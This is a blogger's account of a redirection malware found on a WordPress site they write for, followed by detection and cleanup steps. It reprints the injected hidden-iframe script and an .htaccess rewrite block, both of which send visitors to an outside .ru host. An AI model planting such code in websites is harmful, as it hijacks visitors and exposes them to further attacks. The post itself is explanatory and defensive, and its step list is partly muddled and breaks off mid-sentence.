encountered a malware on a site

Its the 6th day, one of the site I have been contributing to as an author has been compromised by a cracker out there. The cracker is supposed to be a russian. The malware is a redirection malware and according to current statistics it has compromised total of 92 websites. The malware can infect any website but is mostly capable of compromising wordpress websites.

The script injected by the malware is as follows:

<script type=”text/javascript” language=”javascript” > (function () { var jeit = document.createElement(‘iframe’); jeit.src = ‘http://nylzudwo.ru/count13.php&#8217;; jeit.style.position = ‘absolute’; jeit.style.border = ’0′; jeit.style.height = ’1px’; jeit.style.width = ’1px’; jeit.style.left = ’1px’; jeit.style.top = ’1px’; if (!document.getElementById(‘jeit’)) { document.write(‘<div id=\’jeit\’></div>’); document.getElementById(‘jeit’).appendChild(jeit); }})();</script>

In php files, its seen as the line :

echo ”                                                                                                                                                                                                                           <script type=\”text/javascript\” language=\”javascript\” >                                                                                                                                                                                                                                                          (function () {    var jeit = document.createElement(‘iframe’);    jeit.src = ‘http://nylzudwo.ru/count13.php&#8217;;    jeit.style.position = ‘absolute’;    jeit.style.border = ’0′;    jeit.style.height = ’1px’;    jeit.style.width = ’1px’;    jeit.style.left = ’1px’;    jeit.style.top = ’1px’;    if (!document.getElementById(‘jeit’)) {        document.write(‘<div id=\’jeit\’></div>’);        document.getElementById(‘jeit’).appendChild(jeit);    }})();</script>”;

The main infected files are index.php, index.html. Also .htaccess file can be infected and the .htaccess files gets these lines of code added to them:

#e2aa4e#<IfModule mod_rewrite.c>RewriteEngine OnRewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)RewriteRule ^(.*)$ http://nylzudwo.ru/count13.php [R=301,L]</IfModule>

#/e2aa4e#

Because of this malware, your domain will be blacklisted by Google Safe Browsing. And because of black listing your visitors will get the screen as shown in the above image.

How to detect if your website has been compromised with this malware:

1. Scan your website at http://sitecheck.sucuri.net/scanner/
2. Scan your website at http://evuln.com/tools/malware-scanner/
3. Upgrading wordpress themes/plugins
4. Use of properly verified third party plugins/themes
5. Go to https://www.google.com/webmasters/tools
6. Add your site if you have not added.
7. If your site is infected, you should see ”

The steps that can be taken to be safe from it are:

What if infected, just remove the malware code, and use google webmaster tool to ask google to review your domain to remove from blacklisted. Steps to put a request of review:

1. Severe health issues are found on your site. – Check site health“. Click on Check site health. And click on malware detected, Then you will see a button for Request a review.